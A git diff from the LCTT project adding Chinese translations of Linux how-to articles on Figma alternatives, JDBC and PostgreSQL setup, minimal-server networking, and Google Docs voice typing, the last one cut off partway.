+作者:[sreenath][a] +选题:[lkxed][b] +译者:[自由的铁矿](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/kde-customization/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/breeze.webp +[3]: https://itsfoss.com/wp-content/uploads/2022/09/sweet-theme.webp +[4]: https://store.kde.org/s/KDE%20Store/p/1294729 +[5]: https://itsfoss.com/wp-content/uploads/2022/09/materia-dark.png +[6]: https://www.pling.com/p/1462622 +[7]: https://itsfoss.com/wp-content/uploads/2022/09/nordic-kde.png +[8]: https://github.com/EliverLara/Nordic +[9]: https://www.pling.com/p/1267246 +[10]: https://itsfoss.com/wp-content/uploads/2022/09/whitesur.webp +[11]: https://www.pling.com/p/1400424 +[12]: https://itsfoss.com/wp-content/uploads/2022/09/layan.webp +[13]: https://www.pling.com/p/1325241 +[14]: https://itsfoss.com/wp-content/uploads/2022/09/qogir.png +[15]: https://www.pling.com/p/1675755 +[16]: https://itsfoss.com/wp-content/uploads/2022/09/fluent-kde-theme.webp +[17]: https://www.pling.com/p/1631673 +[18]: https://itsfoss.com/wp-content/uploads/2022/09/orchis-kde-theme.png +[19]: https://www.pling.com/p/1458927 +[20]: https://itsfoss.com/wp-content/uploads/2022/09/iridescent-round.webp +[21]: https://www.pling.com/p/1640906 +[22]: https://itsfoss.com/wp-content/uploads/2022/09/nova_papilio.webp +[23]: https://www.pling.com/p/1663528 +[24]: https://itsfoss.com/wp-content/uploads/2022/09/winsur-dark.webp +[25]: https://www.pling.com/p/1373646 +[26]: https://www.pling.com/p/1464332 +[27]: https://www.pling.com/p/1281836 +[28]: https://www.pling.com/p/1370871 +[29]: https://itsfoss.com/install-switch-themes-gnome-shell/ +[30]: https://itsfoss.com/wp-content/uploads/2022/09/download-new-global-themes-from-kde-plasma-system-settings.webp +[31]: https://itsfoss.com/wp-content/uploads/2022/09/list-of-available-themes-in-kde-plasma-system-settings.webp +[32]: https://itsfoss.com/wp-content/uploads/2022/09/kde-plasma-themes-folder-in-file-manager.png diff --git a/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md b/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md new file mode 100644 index 0000000000..3b564107fe --- /dev/null +++ b/published/202210/20220923 5 Free and Open-Source Figma Alternatives.md @@ -0,0 +1,160 @@ +[#]: subject: "5 Free and Open-Source Figma Alternatives" +[#]: via: "https://itsfoss.com/figma-alternatives/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15099-1.html" + +5 款自由开源的 Figma 替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/222037sejf1j6z6jupcz6g.jpg) + +Figma 是一个流行的界面设计工具。你可以免费开始使用,也可以选择高级订阅计划以供进阶使用。 + +这是一个令人印象深刻的平台,许多专业人士都依赖它。然而,在 2021 年,[Figma][1] 通过施加某些限制改变了其免费计划。虽然这使一些用户寻找替代品,但对许多人来说仍然是可接受的。 + +不幸的是,在 2022 年,**Adobe 宣布以 200 亿美元收购 Figma** 让许多用户望而却步。因此,每个人都开始寻找免费且可能开源的替代品。 + +为了帮助你,我们决定编一份 Figma 的自由开源的替代品清单,你可以试试。 + +**注意:** 提到的替代品不一定是 Figma 的完全替代品。我们建议你尝试一下,看看它们是否符合你的要求。 + +### 1、Penpot + +![A Video from YouTube][2] + +**主要亮点:** + +* 自托管选择。 +* 使用 SVG 作为原生格式。 +* 基于网页。 +* 跨平台。 + +Penpot 很快被公认为可靠的免费和开源 Figma 替代品。 + +即使它处于测试阶段,在写这篇文章时,用户似乎喜欢它提供的东西。我不是一个设计专家,但这个工具的用户体验似乎令人印象深刻。 + +Penpot 的独特之处在于它使用 SVG 作为其原生格式,这很罕见,但也为设计师提供了巨大的好处。 + +![penpot screenshot][3] + +你可以期待具有 Figma 的基本功能,因为开发人员提到该工具的原始灵感是 Figma,他们旨在提供熟悉的用户体验,而不给你的设计冒险增加障碍。 + +前往其官方网站或 GitHub 页面探索更多信息。 + +> **[Penpot][4]** + +### 2、Quant UX + +![A Video from YouTube][5] + +**主要亮点:** + +* 原型设计和测试。 +* 无需注册即可获得有限访问权限。 +* 定期添加新的测试版功能。 +* 自托管选择。 + +Quant UX 是一种原型设计工具,你可以在其中测试你的设计并获得它们的实际体验。 + +你可以为安卓手机、iPhone 或台式机创建自定义原型,或选择任何可用的屏幕尺寸。 + +这也是你会发现它不断添加功能的地方,其中一些处于测试阶段。它更专注于通过让你导入设计或创建简单的模型来测试事物。 + +它允许你无需注册即可访问一些内容,但要使所有功能正常工作,你需要注册一个帐户。在其 [GitHub 页面][6] 上探索更多信息。 + +> **[Quant UX][7]** + +### 3、Plasmic + +![A Video from YouTube][8] + +**主要亮点:** + +* 自由开源。 +* 拖放功能。 +* 它支持从 Figma 导入设计。 + +Plasmic 是用于构建网页的卓越设计工具。如果你使用 Figma 进行网页设计,这可能是一个可供选择的工具。 + +它免费提供大部分功能,当你选择高级计划时,可以为团队解锁更多扩展版本历史记录、分析和其他特殊功能。它不仅限于设计网页,还支持 A/B 测试来实验和改进网站的用户交互。 + +无论你使用的是 [开源 CMS][9] 还是 Jamstack 站点,Plasmic 几乎都支持集成。前往其官方网站或 [GitHub 页面][10] 了解更多信息。 + +> **[Plasmic][11]** + +### 4、Wireflow + +![wireflow userflow][12] + +**主要亮点:** + +* 免费使用。 +* 没有付费选项。 +* 它没有被积极维护。 + +Wireflow 作为用户流原型工具是一个有趣的产品,它完全免费使用,没有付费选项。 + +此外,你无需注册帐户。从其官方网站开始,与他人合作规划你的项目并进行头脑风暴。 + +不幸的是,它自 2021 年以来没有看到任何最近的开发活动。但是,它仍然活跃并且仍然是一个自由开源的解决方案。你可以查看其 [GitHub 页面][13] 了解更多信息。 + +> **[Wireflow][14]** + +### 5、Akira UX + +![akira ux 2020][15] + +**主要亮点:** + +* 尚处于早期开发中的应用。 +* 专注于成为原生 Linux UX 应用。 + +[Akira UX][16] 是一个令人兴奋的项目,旨在带来一个原生 Linux 设计程序,该程序可以与一些基于 Web 的解决方案一样工作。 + +Akira 的项目负责人加入了 Mozilla Thunderbird 担任产品设计经理。因此,截至目前,该项目还没有被积极地开发。但是,作为一个自由开源项目,任何人都可以负责它并致力于相同的愿景。 + +它目前提供了可以测试的早期开发版本。你可以在 Flathub 的 beta 渠道中找到它,并按照其 [GitHub 页面说明][17] 进行安装。 + +> **[Akira UX][18]** + +### 总结 + +用自由开源的解决方案取代 Figma 并不容易。但是,如果你不关心 Figma 的所有功能,我们的一些建议应该可以帮助你完成工作。 + +*你知道有什么其他自由开源的 Figma 替代品吗?请在下面的评论中告诉我你的想法*。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/figma-alternatives/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://www.figma.com/ +[2]: https://youtu.be/JozESuPcVpg +[3]: https://itsfoss.com/wp-content/uploads/2022/09/penpot-screenshot.jpg +[4]: https://penpot.app/ +[5]: https://youtu.be/eGDTAJlB-uI +[6]: https://github.com/KlausSchaefers/quant-ux +[7]: https://quant-ux.com/ +[8]: https://youtu.be/sXXpe5jjnRs +[9]: https://itsfoss.com/open-source-cms/ +[10]: https://github.com/plasmicapp/plasmic +[11]: https://www.plasmic.app/ +[12]: https://itsfoss.com/wp-content/uploads/2022/09/wireflow-userflow-800x570.jpg +[13]: https://github.com/vanila-io/wireflow +[14]: https://wireflow.co/ +[15]: https://itsfoss.com/wp-content/uploads/2022/09/akira-ux-2020.png +[16]: https://itsfoss.com/akira-design-tool/ +[17]: https://github.com/akiraux/Akira +[18]: https://github.com/akiraux/Akira diff --git a/published/202210/20220923 Install JDBC on Linux in 3 steps.md b/published/202210/20220923 Install JDBC on Linux in 3 steps.md new file mode 100644 index 0000000000..e791b7fcb5 --- /dev/null +++ b/published/202210/20220923 Install JDBC on Linux in 3 steps.md @@ -0,0 +1,86 @@ +[#]: subject: "Install JDBC on Linux in 3 steps" +[#]: via: "https://opensource.com/article/22/9/install-jdbc-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15103-1.html" + +3 步在 Linux 上安装 JDBC +====== + +> 安装 Java,使用 Maven 安装 JDBC,并安装数据库。然后,你就可以在 Java 代码中与数据库进行交互了。 + +![](https://img.linux.net.cn/data/attachment/album/202210/04/101923dpc8nnzsz5xxpn1x.jpg) + +当你编写一个应用时,需要数据存储是很常见的。有时你要存储你的应用需要的素材数据,其他时候你要存储用户数据,包括偏好和保存的数据。存储数据的一种方式是在数据库中,为了在你的代码和数据库之间进行通信,你需要为你的语言提供一个数据库绑定或连接器。对于 Java 来说,一个常见的数据库连接器是 JDBC(Java 数据库连接Java database connectivity)。 + +### 1、安装 Java + +当然,要使用 Java 进行开发,你还必须安装 Java。对于 Linux、macOS 和 WSL 或 Cygwin,我推荐 [SDKman][2]。对于 Windows,你可以从 [developers.redhat.com][3] 下载 OpenJDK。 + +### 2、使用 Maven 安装 JDBC + +JDBC 是一种 API,通过语句 `import java.sql.*` 导入到你的代码中,但要使其有用,你必须安装数据库驱动和数据库以与之交互。你使用的数据库驱动和要通信的数据库必须匹配:要与 MySQL 交互,你需要 MySQL 驱动,要与 SQLite3 交互,你必须具有 SQLite3 驱动等等。 + +在本文中,我使用 [PostgreSQL][4],但所有主流数据库,包括 [MariaDB][5] 和 [SQLite3][6],都有 JDBC 驱动程序。 + +你可以从 [jdbc.postgresql.org][7] 下载 JDBC for PostgreSQL。我使用 [Maven][8] 来管理 Java 依赖项,因此我将它包含在 `pom.xml` 中(调整 [Maven Central][9] 上的当前版本号): + +``` + + org.postgresql + postgresql + 42.5.0 + +``` + +### 3、安装数据库 + +你必须安装要通过 JDBC 连接的数据库。有几个非常好的开源数据库,但是我只能为这篇文章选择一个,所以我选择了 PostgreSQL。 + +要在 Linux 上安装 PostgreSQL,请使用你的软件仓库。在 Fedora、CentOS、Mageia 和类似设备上: + +``` +$ sudo dnf install postgresql postgresql-server +``` + +在 Debian、Linux Mint、Elementary 和类似平台上: + +``` +$ sudo apt install postgresql postgresql-contrib +``` + +### 数据库连接 + +如果你不使用 PostgreSQL,同样的一般过程也适用: + +1. 安装 Java。 +2. 为你选择的数据库找到 JDBC 驱动,并将其包含在你的 `pom.xml` 文件中。 +3. 在你的开发系统上安装数据库(服务器和客户端)。 + +三个步骤,你就可以开始编写代码了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/install-jdbc-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/java-coffee-mug.jpg +[2]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[3]: https://developers.redhat.com/products/openjdk/download?intcmp=7013a000002qLH8AAM +[4]: http://LINK-TO-POSTGRESQL-INTRO-ARTICLE +[5]: https://www.redhat.com/sysadmin/mysql-mariadb-introduction +[6]: https://opensource.com/article/21/2/sqlite3-cheat-sheet +[7]: https://jdbc.postgresql.org/download.html +[8]: https://opensource.com/article/22/3/maven-manage-java-dependencies +[9]: https://mvnrepository.com/artifact/org.postgresql/postgresql diff --git a/published/202210/20220924 Drop your database for PostgreSQL.md b/published/202210/20220924 Drop your database for PostgreSQL.md new file mode 100644 index 0000000000..4f600cb0a4 --- /dev/null +++ b/published/202210/20220924 Drop your database for PostgreSQL.md @@ -0,0 +1,288 @@ +[#]: subject: "Drop your database for PostgreSQL" +[#]: via: "https://opensource.com/article/22/9/drop-your-database-for-postgresql" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15132-1.html" + +使用 PostgreSQL 建立你的数据库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/12/100311t4k1k8hfmh4df5hh.jpg) + +> PostgreSQL 是最灵活的数据库之一,并且它是开源的。 + +数据库是以一种有组织且灵活的方式存储信息的工具。电子表格在本质上就是一个数据库,但是图形化应用程序这一限制使得大多数的电子表格应用程序对程序员毫无用处。随着 [边缘计算][3] 和物联网设备成为重要的平台,开发者们需要更有效且轻量级的方法,来存储、处理、查询大量的数据。我最爱的一种组合是使用 [Lua 连接][4] PostgreSQL 数据库。无论你使用什么编程语言,PostgreSQL 一定是数据库的绝佳选择,但是在使用 PostgreSQL 之前,首先你需要知道一些基本的东西。 + +### 安装 PostgreSQL + +在 Linux 上安装 PostgreSQL,要使用你的软件库。在 Fedora,CentOS,Megeia 等类似的 Linux 版本上使用命令: + +``` +$ sudo dnf install postgresql postgresql-server +``` + +在 Debian, Linux Mint, Elementary 等类似的 Linux 版本上使用命令: + +``` +$ sudo apt install postgresql postgresql-contrib +``` + +在 macOs 和 Windows 上,可以从官网 [postgresql.org][5] 下载安装包。 + +### 配置 PostgreSQL + +大多数发行版安装 PostgreSQL 数据库时没有启动它,但是为你提供了一个脚本或 [systemd 服务][6],能够可靠地启动 PostgreSQL。但是,在启动 PostgreSQL 之前,必须创建一个数据库集群。 + +#### Fedora + +在 Fedora,CentOS 等类似的版本上,PostgreSQL 安装包中提供了一个 PostgreSQL 配置脚本。运行这个脚本,可以进行简单地配置: + +``` +$ sudo /usr/bin/postgresql-setup --initdb +[sudo] password: + * Initializing database in '/var/lib/pgsql/data' + * Initialized, logs are in /var/lib/pgsql/initdb_postgresql.log +``` + +#### Debian + +在基于 Debian 的发行版上,在安装 Postgres 的过程中,配置会通过 `apt` 自动完成。 + +#### 其他版本 + +最后,如果你是在其他版本上运行的,那么你可以直接使用 PostgreSQL 提供的一些工具。`initdb` 命令会创建一个数据库集群,但是这个命令必须在 `postgres` 用户下运行,你可以使用 `sudo` 来暂时地成为 `postgres` 用户: + +``` +$ sudo -u postgres \ + "initdb -D /var/lib/pgsql/data \ + --locale en_US.UTF-8 --auth md5 --pwprompt" +``` + +### 运行 PostgreSQL + +现在,数据库集群已经存在了,使用 `initdb` 的输出中提供给你的命令或者使用 systemd 启动 PostgreSQL 服务器: + +``` +$ sudo systemctl start postgresql +``` + +### 创建一个数据库用户 + +使用 `createuser` 命令来创建一个数据库用户。`postgres` 用户是 Postgres 安装的超级用户。 + +``` +$ sudo -u postgres createuser --interactive --password bogus +Shall the new role be a superuser? (y/n) n +Shall the new role be allowed to create databases? (y/n) y +Shall the new role be allowed to create more new roles? (y/n) n +Password: +``` + +### 创建一个数据库 + +使用 `createdb` 命令来创建一个新的数据库。在这个例子中,我创建了数据库 `exampledb`,并把该数据库的拥有者分配给用户 `bogus`。 + +``` +$ createdb exampledb --owner bogus +``` + +### 与 PostgreSQL 交互 + +你可以使用 `psql` 命令来与 PostgreSQL 中的数据库进行交互。这个命令提供了一个交互界面,所以你可以用它来查看和更新你的数据库。你需要指定要使用的用户和数据库,来连接到一个数据库。 + +``` +$ psql --user bogus exampledb +psql (XX.Y) +Type "help" for help. + +exampledb=> +``` + +#### 创建一个表 + +数据库包含很多表。这些表可以可视化为表格,有很多行(在数据库中称为 *记录*)和很多列。行和列的交集称为 *字段*。 + +结构化查询语言(SQL)是以它提供的内容而命名的,它能提供可预测且一致的语法,来查询数据库内容,从而收到有用的结果。 + +目前,你的数据库是空的,没有任何的表。你可以用 `CREATE` 语句来创建一个表。结合使用 `IF NOT EXISTS` 是很有用的,它可以避免破坏现有的表。 + +在你创建一个表之前,想想看你希望这个表包含哪一种数据(在 SQL 术语中称为“数据类型”)。在这个例子中,我创建了一个表,包含两列,有唯一标识符的一列和最多九个字符的可变长的一列。 + +``` +exampledb=> CREATE TABLE IF NOT EXISTS my_sample_table( +exampledb(> id SERIAL, +exampledb(> wordlist VARCHAR(9) NOT NULL +); +``` + +关键字 `SERIAL` 并不是一个数据类型。`SERIAL` 是 [PostgreSQL 中的一个特殊的标记][7],它可以创建一个自动递增的整数字段。关键字 `VARCHAR` 是一个数据类型,表示限制内字符数的可变字符。在此例中,我指定了最多 9 个字符。PostgreSQL 中有很多数据类型,因此请参阅项目文档以获取选项列表。 + +#### 插入数据 + +你可以使用 `INSERT` 语句来给你的新表插入一些样本数据: + +``` +exampledb=> INSERT INTO my_sample_table (wordlist) VALUES ('Alice'); +INSERT 0 1 +``` + +如果你尝试在 `wordlist` 域中输入超过 9 个字符,则数据输入将会失败: + +``` +exampledb=> INSERT INTO my_sample_table (WORDLIST) VALUES ('Alexandria'); +ERROR:  VALUE too long FOR TYPE CHARACTER VARYING(9) +``` + +#### 改变表或者列 + +当你需要改变一个域的定义时,你可以使用 `ALTER` 这一 SQL 关键字。例如,如果你想改变 `wordlist` 域中最多只能有 9 个字符的限制,你可以重新设置这个数据类型。 + +``` +exampledb=> ALTER TABLE my_sample_table +ALTER COLUMN wordlist SET DATA TYPE VARCHAR(10); +ALTER TABLE +exampledb=> INSERT INTO my_sample_table (WORDLIST) VALUES ('Alexandria'); +INSERT 0 1 +``` + +#### 查询表中的内容 + +SQL 是一种查询语言,因此你可以通过查询来查看数据库的内容。查询可以是很简单的,也可以涉及连接多个不同表之间的复杂关系。要查看表中的所有内容,请使用 `SELECT` 关键字和 `*`(`*` 是通配符): + +``` +exampledb=> SELECT * FROM my_sample_table; + id |  wordlist +----+------------ +  1 | Alice +  2 | Bob +  3 | Alexandria +(3 ROWS) +``` + +### 更多数据 + +PostgreSQL 可以处理很多数据,但是对于任何数据库来说,关键之处在于你是如何设计你的数据库的,以及数据存储下来之后你是怎么查询数据的。在 [OECD.org][8] 上可以找到一个相对较大的公共数据集,你可以使用它来尝试一些先进的数据库技术。 + +首先,将数据下载为逗号分隔值格式(CSV)的文件,并将文件另存为 `Downloads` 文件夹中的 `land-cover.csv`。 + +在文本编辑器或电子表格应用程序中浏览数据,来了解有哪些列,以及每列包含哪些类型的数据。仔细查看数据,并留意错误情况。例如,`COU` 列指的是国家代码,例如 `AUS` 表示澳大利亚和 `GRC` 表示希腊,在奇怪的 `BRIICS` 之前,这一列的值通常是 3 个字符。 + +在你理解了这些数据项后,你就可以准备一个 PostgreSQL 数据库了。 + +``` +$ createdb landcoverdb --owner bogus +$ psql --user bogus landcoverdb +landcoverdb=> create table land_cover( +country_code varchar(6), +country_name varchar(76), +small_subnational_region_code varchar(5), +small_subnational_region_name varchar(14), +large_subnational_region_code varchar(17), +large_subnational_region_name varchar(44), +measure_code varchar(13), +measure_name varchar(29), +land_cover_class_code varchar(17), +land_cover_class_name varchar(19), +year_code integer, +year_value integer, +unit_code varchar(3), +unit_name varchar(17), +power_code integer, +power_name varchar(9), +reference_period_code varchar(1), +reference_period_name varchar(1), +value float(8), +flag_codes varchar(1), +flag_names varchar(1)); +``` + +#### 引入数据 + +Postgres 可以使用特殊的元命令 `\copy` 来直接引入 CSV 数据: + +``` +landcoverdb=> \copy land_cover from '~/land-cover.csv' with csv header delimiter ',' +COPY 22113 +``` + +插入了 22113 条记录。这是一个很好的开始! + +#### 查询数据 + +用 `SELECT` 语句可以查询这 22113 条记录的所有列,此外 PostgreSQL 将输出通过管道传输到屏幕上,因此你可以轻松地滚动鼠标来查看输出的结果。更进一步,你可以使用高级 SQL 语句,来获得一些有用的视图。 + +``` +landcoverdb=> SELECT +    lcm.country_name, +    lcm.year_value, +    SUM(lcm.value) sum_value +FROM land_cover lcm +JOIN ( +    SELECT +        country_name, +        large_subnational_region_name, +        small_subnational_region_name, +        MAX(year_value) max_year_value +    FROM land_cover +    GROUP BY country_name, +        large_subnational_region_name, +        small_subnational_region_name +) AS lcmyv +ON +    lcm.country_name = lcmyv.country_name AND +    lcm.large_subnational_region_name = lcmyv.large_subnational_region_name AND +    lcm.small_subnational_region_name = lcmyv.small_subnational_region_name AND +    lcm.year_value = lcmyv.max_year_value +GROUP BY lcm.country_name, +    lcm.large_subnational_region_name, +    lcm.small_subnational_region_name, +    lcm.year_value +ORDER BY country_name, +    year_value; +``` + +下面是样例的一些输出: + +``` +---------------+------------+------------ + Afghanistan    |       2019 |  743.48425 + Albania        |       2019 |  128.82532 + Algeria        |       2019 |  2417.3281 + American Samoa |       2019 |   100.2007 + Andorra        |       2019 |  100.45613 + Angola         |       2019 |  1354.2192 + Anguilla       |       2019 | 100.078514 + Antarctica     |       2019 |  12561.907 +[...] +``` + +SQL 是一种很丰富的语言,超出了本文的讨论范围。通读 SQL 的内容,看看你是否可以对上面的查询语句进行修改,以提供不同的数据集。 + +### 拓展数据库 + +PostgreSQL 是伟大的开源数据库之一。有了它,你可以为结构化数据设计存储库,然后使用 SQL 以不同的方式查询它,以便能够获得有关该数据的新视角。PostgreSQL 也能与许多语言集成,包括 Python、Lua、Groovy、Java 等,因此无论你使用什么工具集,你都可以充分利用好这个出色的数据库。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/drop-your-database-for-postgresql + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM +[4]: https://github.com/arcapos/luapgsql +[5]: https://www.postgresql.org/download/ +[6]: https://opensource.com/article/21/4/sysadmins-love-systemd +[7]: https://www.postgresql.org/docs/current/datatype-numeric.html#DATATYPE-SERIAL +[8]: https://stats.oecd.org/Index.aspx?DataSetCode=LAND_COVER diff --git a/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md b/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md new file mode 100644 index 0000000000..2e9ef8aafe --- /dev/null +++ b/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md @@ -0,0 +1,127 @@ +[#]: subject: "How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install" +[#]: via: "https://www.debugpoint.com/setup-internet-minimal-install-server/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15126-1.html" + +如何在最小安装的 CentOS、RHEL、Rocky Linux 中设置互联网 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/10/162428grhkhtayzt4cdh5k.jpg) + +> 在最小安装的服务器中设置互联网或网络非常容易。本指南将解释如何在最小安装的 CentOS、RHEL 和 Rocky Linux 中设置互联网或网络。 + +当你安装了任何服务器发行版的最小安装环境,你将没有任何 GUI 或桌面环境来设置你的网络或互联网。因此,当你只能访问终端时,了解如何设置互联网非常重要。NetworkManager 工具提供了必要的工具,辅以 systemd 服务来完成这项工作。以下是方法。 + +### 在最小安装的 CentOS、RHEL、Rocky Linux 中设置互联网 + +在你完成了服务器的安装后,启动进入服务器终端。理想情况下,你会看到一个终端提示符。使用 root 或管理员账户登录。 + +首先,尝试使用 [nmcli][1] 检查网络接口的状态和详细信息。`nmcli` 是用于控制 NetworkManager 服务的命令行工具。使用以下命令进行检查。 + +``` +nmcli device status +``` + +这将显示设备名称、状态等。 + +![nmcli device status][2] + +运行工具 `nmtui` 来配置网络接口。 + +`nmtui` 是 NetworkManager 工具的一部分,它为你提供了一个友好的用户界面来配置网络。 + +这是 `NetworkManager-tui` 包的一部分,在你完成最小服务器安装后默认安装。 + +``` +nmtui +``` + +单击 nmtui 窗口中的“编辑连接Edit a connection”。 + +![nmtui - 选择选项][3] + +选择接口名称 + +![选择要编辑的接口][4] + +在“编辑连接Edit Connection”窗口中,为 IPv4 和 IPv6 选择“自动Automatic”选项。并选择“自动连接Automatically Connect”。完成后按 “OK”。 + +![nmtui - 编辑连接][5] + +使用以下命令通过 [systemd systemctl][6] 重启 NetworkManager 服务。 + +``` +systemctl restart NetworkManager +``` + +如果一切顺利,你可以在最小安装的 CentOS、RHEL 和 Rocky Linux 服务器中连接到网络和互联网。前提是你的网络有互联网连接。你可以使用 `ping` 来验证它是否正常工作。 + +![设置最小化服务器互联网 - CentOS Rocky Linux RHEL][7] + +### 附加技巧:在最小化服务器中设置静态 IP + +当你将网络配置设置为自动时,接口会在你连接到互联网时动态分配 IP。在你设置局域网的某些情况下,你可能希望将静态 IP 分配给你的网络接口。这非常容易。 + +打开你的网络配置脚本。将 `ens3` 改为为你自己的设备名。 + +``` +vi /etc/sysconfig/network-scripts/ifcfg-ens3 +``` + +在上面的文件中,使用 `IPADDR` 属性添加所需的 IP 地址。保存文件。 + +``` +IPADDR=192.168.0.55 +``` + +在 `/etc/sysconfig/network` 中为你的网络添加网关。 + +``` +NETWORKING=yes +HOSTNAME=debugpoint +GATEWAY=10.1.1.1 +``` + +在 `/etc/resolv.conf` 中添加任意公共 DNS 服务器。 + +``` +nameserver 8.8.8.8 +nameserver 8.8.4.4 +``` + +然后重启网络服务。 + +``` +systemctl restart NetworkManager +``` + +这就完成了静态 IP 的设置。你还可以使用 `ip addr` 命令检查 IP 详细信息。 + +### 总结 + +我希望本指南可以帮助你在最小化安装的服务器中设置网络、互联网和静态 IP。如果你有任何问题,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/setup-internet-minimal-install-server/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://linux.die.net/man/1/nmcli +[2]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmcli-device-status.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmtui-Select-options.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/06/Select-Interface-to-Edit.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmtui-Edit-Connection.jpg +[6]: https://www.debugpoint.com/2020/12/systemd-systemctl-service/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/06/setup-internet-minimal-server-CentOS-Rocky-Linux-RHEL.jpg \ No newline at end of file diff --git a/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md b/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md new file mode 100644 index 0000000000..25e05ba8d2 --- /dev/null +++ b/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md @@ -0,0 +1,102 @@ +[#]: subject: "Speech Recognition to Text in Linux, Ubuntu using Google Docs" +[#]: via: "https://www.debugpoint.com/speech-recognition-to-text-in-linux-ubuntu-using-google-docs/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15105-1.html" + +使用谷歌文档在 Ubuntu 中对文本进行语音识别 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/04/222403dhey2zwn1442u3n1.jpg) + +> 这就是在包括 Ubuntu 在内的 Linux 系统中将语音转换为文本的方法。 + +Linux 系统中可用的语音识别软件不多,尤其是原生桌面应用。有一些可用的应用使用 IBM Watson 和其他 API 将语音转换为文本,但它们的用户交互不友好,需要一些复杂的用户交互,例如用相应的语言进行一些编程或脚本编写。 + +但是,没有多少用户知道 谷歌文档Google Docs 使用自己的 AI 技术提供了高级语音识别,它可以通过 Chrome 访问谷歌文档使用。 + +任何用户都可以使用此功能将语音转换为文本,而无需高级计算机知识。谷歌文档的这个功能最好的一点是你可以在任何 Ubuntu 衍生版或任何支持 Chrome 的 Linux 发行版中使用它。 + +让我们看看如何在 Ubuntu 中启用它。 + +### 如何将语音转换为文本 + +先决条件是你应该在系统中安装 Chrome 并拥有谷歌帐户。如果你没有安装 Chrome,你可以访问 [此链接][1] 并下载、安装 Chrome。 + +此外,如果你没有谷歌帐户,你可以使用 [此链接][2] 免费创建一个。 + +#### 步骤 1 + +从 Chrome 打开 [https://docs.google.com][3] 并创建一个空白文档。 + +![创建一个空文档][4] + +#### 步骤 2 + +加载空白文档后,从菜单中单击“工具 > 语音输入”。 + +![启用语音输入][5] + +#### 步骤 3 + +在左侧,你可以看到一个麦克风图标。单击麦克风图标,Chrome 会首次要求允许通过浏览器访问麦克风。单击允许。 + +![点击麦克风][6] + +![允许文档访问麦克风][7] + 